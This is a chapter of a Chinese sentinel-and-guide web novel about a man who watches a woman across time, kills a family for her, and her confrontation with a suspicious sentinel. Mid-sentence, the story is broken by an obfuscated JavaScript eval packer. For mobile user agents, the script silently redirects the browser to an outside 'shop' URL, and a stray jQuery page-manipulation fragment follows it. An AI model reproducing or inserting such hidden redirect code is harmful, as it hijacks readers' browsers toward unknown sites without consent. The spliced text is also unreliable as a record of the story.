穆夏又一次来到秦姒的卧室。
不请自来。
视线扫过床尾那只碍眼的大熊猫精神体,穆夏眉心微蹙。
还真是阴魂不散啊。
指尖轻点,大熊猫再次被“请”出画面,穆夏的气终于顺了。
他来到床边,缓缓蹲下身,目光一动不动地凝视着秦姒的侧脸。
在隔空观察她的时候,穆夏很少放任自己靠得这么近。即便系统已经升级,他始终担心观察者效应会再次伤到她。在这片静止的时空里,他终于可以打破这层隔阂。
隔着寸许的距离,目光描摹着她的眉眼。微弱的月光下,他看清了秦姒眼角未干的泪痕。
那一瞬间,穆夏心中翻涌起一丝古怪的愠怒。
她怎么能为那群下三滥的东西哭?
想起那家人,穆夏面色不虞。按照历史进程,他们本就蹦跶不了几天,因此他不必插手。
他目光一偏,无意间扫过床头柜。一个透明的玻璃瓶子里,似乎装着他未曾见过的东西。
穆夏好奇地凑近,发现瓶子里是一片早已干枯的花瓣。
记忆瞬间被拉回那个樱花纷飞的黄昏。那天,他目送秦姒头也不回地离开,可没想到她……她竟然留着这样一片花瓣,还珍重地锁在瓶子里。
她为什么要这么做?
穆夏几乎忘了呼吸,死死盯着那片失色的花瓣,眼底翻涌着炽热的光。他像一头蛰伏了太久的凶兽,当猎物毫无预兆地踏入他的领地时,他甚至分不清究竟该质疑,还是该狂喜。
理智被浓烈的情绪燃烧殆尽,视线回到秦姒的泪痕上,穆夏突然无法忍受她的眼泪不是为他而流。哨兵暴戾的本能无法克制地涌出,他一刻都不想等了,只想立刻让那家人永远地消失。
穆夏虚点了点玻璃瓶,仿佛自言自语般在秦姒耳边落下一句:“有什么好哭的。睡醒,事情就解决了。”
时窥仪中断链接。
——时空分割线——
“叩叩叩!”
现实世界的敲门声突兀地响起,秦姒猛地睁开眼。
“秦姒,是我。”门外传来傅臣焦急的声音,“出事了。”
秦姒开门时眼神还有些迷离:“怎么了?”
傅臣反手关上门,脸色凝重道:“聂昕一家死了。”
秦姒一愣:“死了?什么时候的事?”
“他楼下住户今早发现天花板上冒出血点,才知道楼上一家在昨晚暴毙。”
“查出来是怎么回事吗?”秦姒顿了顿,“先申明啊,与我无关。”
“我当然知道与你无关。只是他们的死因太诡异了。”
“怎么死的?”
“他们是在自己家中……被活活摔死的。”
“开什么玩笑?”
“没开玩笑。”傅臣深吸一口气,“现场没有任何入侵迹象。尸检发现,他们在临死前一瞬间,身上曾承受了高达二十倍的重力加速度,相当于从四十层楼直直坠落。最惨的是聂昕父亲,他不知为什么没有立刻断气,临死前挣扎着想要爬出家门。从地上拖曳的血迹可判断,他死的过程极其缓慢又惨烈。”
“……”秦姒说不出话来。
“这个案件现在由我负责。”
屋里安静了几秒,秦姒垂眸道:“真是天道好轮回。”
她以为傅臣说完就会离开,没想到他神情严肃地问:“秦姒,你知不知道,这是怎么回事?”
秦姒抬起眼,古怪地看了他一眼:“我为什么会知道?”
傅臣突然抓住她的手腕:“秦姒,你以为我真的什么都不知道?从肖寒的死开始我就有所察觉,还有打翻的饺子,砸中我的花盆……这些看似意外的怪事,全都发生在你身边。你真的一无所觉?”
秦姒的手逐渐攥紧,指甲深深陷入掌心。
“我什么都不知道。”秦姒冷冷挥开他的手。
傅臣低头审视着她:“如果你真的不知道,为什么你的心跳会那么快?你在心虚什么?”
秦姒蓦地抬头与他对视。
原来他抓住她的手腕是为了审讯。
傅臣收起平日的温文尔雅,属于高阶哨兵的威压毫无保留地释放出来。
秦姒不动声色道:“如果你有证据是我干的,那就来抓我吧。”
“我知道你不是凶手,但你知道是谁做的,对吗?”傅臣的语气十分肯定。
秦姒心头咯噔一下:“你说什么?”
“你能不能告诉我,你独处的时候,究竟在和谁说话?”
此话一出,在秦姒心中激起千层浪,她脱口而出质问:“你在监视我?”目光瞥过脚边滚来滚去的大熊猫仔仔,秦姒恍然大悟:“那不是什么精神体碎片,而是本体?你一直在窥探我的隐私?”
傅臣垂眸:“我没有骗你,精神体碎片也能一定程度上与我共感。”
“你凭什么这么做!”秦姒勃然大怒。
“我们是将要绑定的关系,难道我没有权利了解你吗?”
秦姒冷笑,看来哨兵也不只有四肢发达,心眼也不少。她吐出一口浊气:“傅臣,绑定的事,忘了吧。”
傅臣眼神冷下来,再次攥住秦姒的手:“你要和我分手?为什么?”
“因为你冒犯了我。”
“是冒犯了你,还是冒犯了你在维护的人?”
秦姒瞳孔微缩,第一次感受到傅臣的咄咄逼人,精神力从掌心涌出,猛地将傅臣弹开。
“我还是那句话,有证据就尽管来抓我。门在那里,不送。”
傅臣的眼中闪过一丝狼狈。
沉默对视后,他先一步移开视线:“无论我们是否在一起,关于你的异常事件我会追查到底。”
“你要做什么?”秦姒蹙眉。
“你在维护的那个人,非常危险,绝不能放任。”
在秦姒冰冷的目光中,傅臣快步离开。还没走出几步,身后传来急促的脚步声。
“等一等。”秦姒追了上来,“这件事,我想和你再聊一下。”
傅臣随她再度跨入屋里的时候,鼻端闻到一股若有若无的甜香气息。说不清是什么味道,但觉沁人心脾,忍不住问:“你用的什么香薰?”
秦姒微笑,静静凝视着他:“你喜欢这个味道吗?”
傅臣鬼使神差地点了点头。
“坐吧。”她指了指沙发。
傅臣老老实实坐下。
秦姒站在几步之外:“傅臣,我一直想问,你为什么要和我绑定?”
“你是最强的。”
“我并非唯一的S级向导。”
“因为……我喜欢你,很喜欢你。”傅臣一怔,这样露骨的话竟然不经大脑思考就跑了出来。
秦姒心头涌过一阵酥麻,忍不住抿了抿唇。她当然清楚傅臣的心意,但她却无法给出回应。
“你还是换个向导吧,我没有你想象的那么好。”
“你很好!我们明明很匹配!”他激动地想要站起来,却错愕地发现自己动弹不得。
“秦姒?”傅臣急了,“你对我做了什么?”
“啪”一个响指。
傅臣瞳孔骤缩,才发现不知何时,房间内已铺天盖地飞满蓝色蝴蝶,它们看似轻柔,却能将他死死钉在沙发上。他拼命挣扎,可完全没有反抗的力量。他猛然惊觉,刚才进门时闻到的那股甜香,原来是她的向导素。
从一开始,这就是针对他的一场狩猎。
“你要做什么?!”
秦姒慢步到他面前:“我不想伤害你,但我不能让你把异常事件上报。我现在给你两个选择:一,请你把一切烂在肚子里,这事到此为止。二,如果你铁了心要查,那我会强行入侵你的图景,不惜一切代价洗去你的相关记忆。”
傅臣怔怔地望着她,过了许久才哑然开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17701574|208163||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
口:“你在维护那个杀人凶手?……为、为什么啊?”
秦姒匆匆移开目光:“我的答案,你可能不会想听。”
傅臣红了眼眶:“秦姒,我那么地、那么地喜欢你,恨不得把我的一切都给你,到头来,你竟然这么对我!你……”
秦姒垂眸,掩住眼底复杂的情绪:“……抱歉,做选择吧。”
——时空分割线——
穆夏习惯在动手之后洗澡。
当他回来时,发现办公室里坐着一个人。
“你来了?”军务长撩起眼皮,手指轻叩桌面,“坐吧。”
穆夏坐下后,长腿优雅地交叠:“您找我什么事?”
军务长点开平板:“我倒想问问,你还记得自己在做什么吗?”
穆夏耸耸肩:“查案。”
“啪”军务长猛地一扔平板,“我来提醒你,调查进度至今为零!你报告上都写了什么乱七八糟的?秦姒爱吃甜的咸的,喜欢什么颜色,这跟案子有什么关系?”
“我需要先充分了解嫌疑人。”
“放屁!”军务长抓起桌上一瓶紫色的女性香水,低头嗅了嗅,抬眼看他,“这是什么?你……”
穆夏不自觉地屏住呼吸。有那么一瞬间,他甚至隐隐期盼,军务长已看穿了他欲盖弥彰的心思。
“你该不会是破不了案,在带薪摸鱼吧?”军务长将香水重重拍回桌上。
穆夏松了口气的同时,心底却泛起一丝说不清的失落。
军务长瞥了他一眼:“我知道你心气高,不服输,但你不擅长破案也别逞强。”
穆夏迅速敛去眼底的情绪:“十天内,我会给你结果。”话一出口,他突然意识到,一旦结案了他还有什么理由看到秦姒?穆夏头一次生出一种近乎恐慌的情绪。
军务长却摇了摇头:“罢了,我派个人协助你查案。”
穆夏交叠的双腿放下,眼底划过一丝戾气:“我的案子,不用别人插手。”
“那人一会儿就来报道。”军务长不等他拒绝,负手离去。
随着门被关上,穆夏脸上所有表情瞬间褪去。他拿起那瓶香水,眉头微蹙。指腹反复擦拭被军务长碰过的瓶身。随后低下头,在瓶口处深吸一口气。
浅浅的香气漫过鼻端,他闭着眼,那股原本在胸腔里横冲直撞的暴戾与焦躁被渐渐抚平。
再睁开眼时,穆夏面无表情地打开抽屉,将香水放进去后落锁。
他坐在控制台前,四块大屏幕再度亮起。
秦姒的房间内漆黑一片。
片刻后,穆夏终于看清,她靠着床坐在地上,手指微动,一道银色弧线划破夜色——是一枚硬币。
仿佛察觉到了他隐秘的注视,秦姒突然抬头,锐利的目光对准他所在的方向。
“聂昕家的事是你做的吗?数字代表‘是’,花代表‘否’,回答我。”
硬币被高高抛弃,在半空悬停,像被一只无形的手接住。
两道来自不同时空的目光,同时落在那枚硬币上。随后,穆夏修长的手指轻轻晃动摇杆。
“啪”的一声轻响,硬币精准地落在秦姒的掌心。
——是。
隔着屏幕,两人各怀心事地沉默了。
“其实你没必要为我这么做。”许久后,秦姒低声道。
时间一分一秒过去,沉默一寸一寸切割着黑夜。
“你日夜跟着我,阻挠我和傅臣交往,还为了我杀人……”秦姒垂下眼睫,视线落在掌心那枚硬币上,“究竟是为什么啊?”
她抿了抿唇,终于鼓起勇气问出藏在心底的那句话:
“难道……你喜欢我?”
穆夏听到这句话时,呼吸一顿。来不及思考,秦姒的指尖微弹,那枚硬币再次被抛向半空。
光影交错间,硬币在空中不断翻转,折射出未知的光芒。
“回答我。”